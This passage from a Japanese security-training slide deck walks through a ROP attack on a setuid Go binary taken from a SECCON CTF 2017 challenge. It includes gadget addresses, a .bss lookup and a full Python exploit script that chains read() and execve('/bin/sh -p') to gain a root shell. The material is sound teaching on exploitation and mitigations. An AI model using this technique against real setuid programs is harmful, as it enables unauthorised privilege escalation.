for i := 0; i < len; i++ {

*(*int8)(unsafe.Pointer(dst)) = *(*int8)(unsafe.Pointer(src))

dst += 1

src += 1

}

}

参考: SECCON CTF2017の問題を一部変更して使用しています

Stack Buffer Overflow

buf[32]

60 of 76

Advanced

Demo

  • 今回演習で使用する攻撃のデモをします
    • 何が起きているかをいま理解する必要はありません
  • 攻撃の実施手順
  • 今回の攻撃
    • 2と同じくStack Buffer Overflow脆弱性を突いた攻撃. ただしいくつかのMitigationが有効
      • NX bit(DEP)が有効: スタック上のコードを用いて攻撃できない
      • ASLRが有効: スタックなどのアドレスはランダム化されている
      • PIEは無効: ELFバイナリに入っている実行コードのアドレスは固定
      • SSP(Stack Canary)は無効: Return addressの上書き防御はない
    • setuidされているbaby_stackの制御を奪い、rootに昇格してシェルを実行
    • ROP (Return-oriented programming)と呼ばれる攻撃手法を用いてexecveを呼び出す

61 of 76

Advanced

Demo - Attacking using exploit_print.py

62 of 76

Advanced

IDA Pro

  • IDA Pro
    • 非常に高機能なディスアセンブラ
    • 今回は無料版(IDA Pro Free)を用いる
      • 有料版だとスクリプトサポートがある。またデコンパイラも別売されている。
    • 2019年にNSAからGhidraというツールがリリース(オープンソース)され、そちらの人気も非常に高まっている
  • Goバイナリの内容を確認するためにIDA Pro Freeを試す
    • Goバイナリにはsyscall.Syscallという、libcのようなシステムコールのwrapper関数が含まれている
    • syscall.Syscallというfunctionを見つけるのと、アセンブリを確認するためにIDA Pro Freeを使う
    • → syscall.Syscallのアドレス: 0x481E40

63 of 76

Advanced

[Demo] IDA Pro

64 of 76

Advanced

Stack Frame (Go)

  • GoのスタックフレームはCと異なる
    • Go
      • 引数 (Arguments)
        • 全てStackにsetして渡す
        • 参考: Cもx86(32bit)だとStack渡し
      • 戻り値 (Return values)
        • Stackにsetして返す
        • 複数の戻り値を持てる
    • C
      • 引数 (Arguments)
        • レジスタ経由. 足りない場合はStackにset
      • 戻り値 (Return values)
        • raxレジスタにsetして返す

Stack Segment ↑

High Address

Virtual Memory (仮想メモリ)

Low Address

Return Address

Local Variables

Saved RBP

Arguments

Return values

Return Address

Local Variables

Saved RBP

Arguments

Return values

function1

function2

Go

65 of 76

Advanced

Stack Frame (Go)

  • syscall.Syscall

    • 攻撃のゴール: execve(“/bin/sh”, [“/bin/sh”, “-p”], 0x00) を呼ぶ
      • スタックフレームの状態は右記のようになる。
    • 今回はNX bit (DEP)が有効化されており、スタック領域にShellcodeを置けない
      • 実行ファイルに含まれる、このSyscall funcを用いてSystemcallを呼び出す

Stack Segment ↑

High Address

Virtual Memory (仮想メモリ)

Low Address

Arguments1: execve(59)

Return values

syscall.� Syscall

Arguments2: “/bin/sh”

Arguments3: [“/bin/sh”, “-p”]

Arguments4: NULL(0x00)

Return address

Local Values

func Syscall(trap, a1, a2, a3 uintptr) (r1, r2 uintptr, err Errno)

66 of 76

Advanced

How to attack

  • 攻撃方法
    • 1. “/bin/sh”や”-p”などがメモリ上にないので、メモリ上に攻撃に必要な文字列を読み込む
    • read(0, .bss segment address, 100)
      • 0 = 標準入力
      • .bss = ASLRでランダム化されないアドレス
      • 100 = 入力を受け付ける上限
    • 2. execveシステムコールを呼ぶ
    • execve(“/bin/sh”, [“/bin/sh”, “-p”], 0)
      • “/bin/sh”
      • [“/bin/sh”, “-p”]
      • 0
  • 固定されたメモリアドレス上に文字列を読み込み、そのアドレスをexecveに渡す

0xffffffffffffffff

0x00

Virtual Memory (仮想メモリ)

Machine Code(.text Segment)

.rodata Segment

.bss Segment

Heap segment ↓���������Stack Segment ↑

main() 0101010101

.data Segment

* Only major segments included

“/bin/sh\0” “-p\0”, array...

write

67 of 76

Advanced

How to attack - ROP

  • Stackをこの状態にすれば、read()、execve()をcallして、攻撃が成立する
  • 実行コード上のReturn命令を駆使して任意コード実行していく

攻撃の流れ� 1. read() syscall� 2. add rspしてスタック位置の調整� 3. execve() syscall

Return Address

buf[]

Saved RBP

Arguments

Return values

main()�original Stack layout

000000000000000000000000000000000000

&syscall.Syscall

pointer of “add rsp, 0x38; ret”

arg1: read (0)

ret1

ret2

.text segment�

(syscall.Syscall func)� …� syscall� …� ret

(? func)� ...� add rsp, 0x38(56)� ret� ...

arg2: standard input (0)

arg3: .bss address

arg4: 0x100

dummy(0\0\0\0\0\0\0\0)

arg1: execve (59)

arg2: pointer of “/bin/sh”

arg3: pointer of [“/bin/sh”, “-p”]

arg4: 0

.bss segment�

“/bin/sh\0

“-p\0\0\0\0\0\0

64bit

pointer of “/bin/sh”

pointer of “-p”

null pointer (\0\0\0\0\0\0\0\0)

Array

Adjust Stack Address

ret3

Overwritten by read()

64bit

dummy(return value1)

dummy(return value2)

dummy(return value3)

&syscall.Syscall

56byte

68 of 76

Advanced

Exploit

攻撃の流れ� 1. read() syscall� 2. add rspしてスタック位置の調整� 3. execve() syscall

addr_bss = 0x564200

shellcode = "\0" * 224

shellcode += struct.pack("<Q", 0x481E40) # Return Pointer(1) -> syscall.Syscall

shellcode += struct.pack("<Q", 0x0040197f) # Return Pointer(2) -> (add rsp, 0x38 ; ret)

shellcode += struct.pack("<Q", 0) # Arg1 of Syscall: 0 (read)

shellcode += struct.pack("<Q", 0) # Arg2 of Syscall: 0 (stdin)

shellcode += struct.pack("<Q", addr_bss) # Arg3 of Syscall: .bss

shellcode += struct.pack("<Q", 0x100) # Arg4 of Syscall

shellcode += struct.pack("<Q", 0) # dummy

shellcode += struct.pack("<Q", 0) # dummy

shellcode += struct.pack("<Q", 0) # dummy

shellcode += struct.pack("<Q", 0x481E40) # Return Pointer(3) -> syscall.Syscall

shellcode += struct.pack("<Q", 0) # Return Pointer(4) -> dummy

shellcode += struct.pack("<Q", 59) # Arg1 of Syscall: (execve)

shellcode += struct.pack("<Q", addr_bss) # Arg2 of Syscall:

shellcode += struct.pack("<Q", addr_bss + 0x10) # Arg3 of Syscall:

shellcode += struct.pack("<Q", 0) # Arg4 of Syscall

print(shellcode)

sys.stdout.flush()

time.sleep(1)

shellstr = "/bin/sh\0"

shellstr += "-p\0\0\0\0\0\0"

shellstr += struct.pack("<Q", addr_bss) # Arg3 of Syscall: .bss

shellstr += struct.pack("<Q", addr_bss + 0x08) # Arg3 of Syscall: .bss

shellstr += struct.pack("<Q", 0) # Arg3 of Syscall: .bss

print(shellstr)

sys.stdout.flush()

main() func内のscan()向け

呼び出されたread syscall向け

69 of 76

Advanced

Exercise - GDB Demo

GDB with Stack Layout Image

70 of 76

Advanced

Exercise

  • 実践
  • GDBを用いた理解 (次ページにビデオあり)
    • 下記コマンドでmain()関数のretまで自動実行されます
      • gdb bof -x gdb-autocommand
        • read()システムコールに対しての入力(“/bin/sh”などの書き込み)も行われます
    • 下記に注目してください
      • リターンポインタが上書きされた後、ret命令でsyscall.Syscallに制御が移るところ
      • retを使って別の関数に渡っていくことによって最終的にexecveシステムコールが呼び出されるところ

71 of 76

Advanced

(Reference) ROP (Return-Oriented Programming)

  • ROP (Return-Oriented Programming)
    • 今回のように、Return命令を組み合わせて任意のコードを実行する手段をROPと呼ぶ
    • 実行コードに含まれる 「****; ret」という命令を組み合わせて、任意のコードを実行していく
      • 今回は「add rsp, 0x38 (56); ret」という命令を利用してStackの調整を行った
  • ROP Gadget
    • 実行コード中にある「****; ret」という機械語のカタマリをROP Gadgetと呼ぶ
    • rp++というツールで、実行コードに含まれるROP Gadgetの一覧を取得できる

# rp-lin-x64 -f baby_stack -r 1 --unique

…�0x00403561: add rsp, 0x30 ; ret ; (199 found)

0x0040197f: add rsp, 0x38 ; ret ; (111 found)

0x00402ae0: add rsp, 0x40 ; ret ; (114 found)

address

72 of 76

Advanced

(Reference) .bss segment address

  • read system callで.bss segmentアドレスへの書き込みを行った
    • .bssアドレスの見つけ方
      • (PIEでない場合は、アドレスがランダム化されない)

      • GDBでbss領域のメモリの状態を見る

# readelf -W -e baby_stack

Section Headers:

[Nr] Name Type Address Off Size ES Flg Lk Inf Al

...� [11] .bss NOBITS 0000000000564200 164200 01b950 00 WA 0 0 32

...

gdb-peda$ hexdump 0x564200 48

0x00564200 : 2f 62 69 6e 2f 73 68 00 2d 70 00 00 00 00 00 00 /bin/sh.-p......

0x00564210 : 00 42 56 00 00 00 00 00 08 42 56 00 00 00 00 00 .BV......BV.....

0x00564220 : 00 00 00 00 00 00 00 00 0a 00 00 00 00 00 00 00 ................

73 of 76

Summary

  • コンピュータの動作から、攻撃手法、Mitigation技術を見てきた
    • 1. Introduction
      • コンピュータの動きについての説明
    • 2. Stack Buffer Overflow
      • Stack Buffer Overflowの実践
    • 3. Advanced
      • 攻撃Mitigation技術および回避手法の実践
  • これからも攻撃と防御のいたちごっこは続いていく
      • 定期的に新しい脆弱性が公開される
      • 攻撃の流れやコンピュータの動作を知ることで、どのような脆弱性なのか、どのように攻撃されるのか、特性を理解するのが容易になる
        • 自分のアプリケーション
        • 自分のアプリケーション内で使っているライブラリ
        • 管理しているサーバ・コンテナ上のアプリケーション
  • Enjoy hacking :)

74 of 76

Thanks!

75 of 76

References

76 of 76

Special Thanks

  • Reviewers
    • kcz (@kcz146)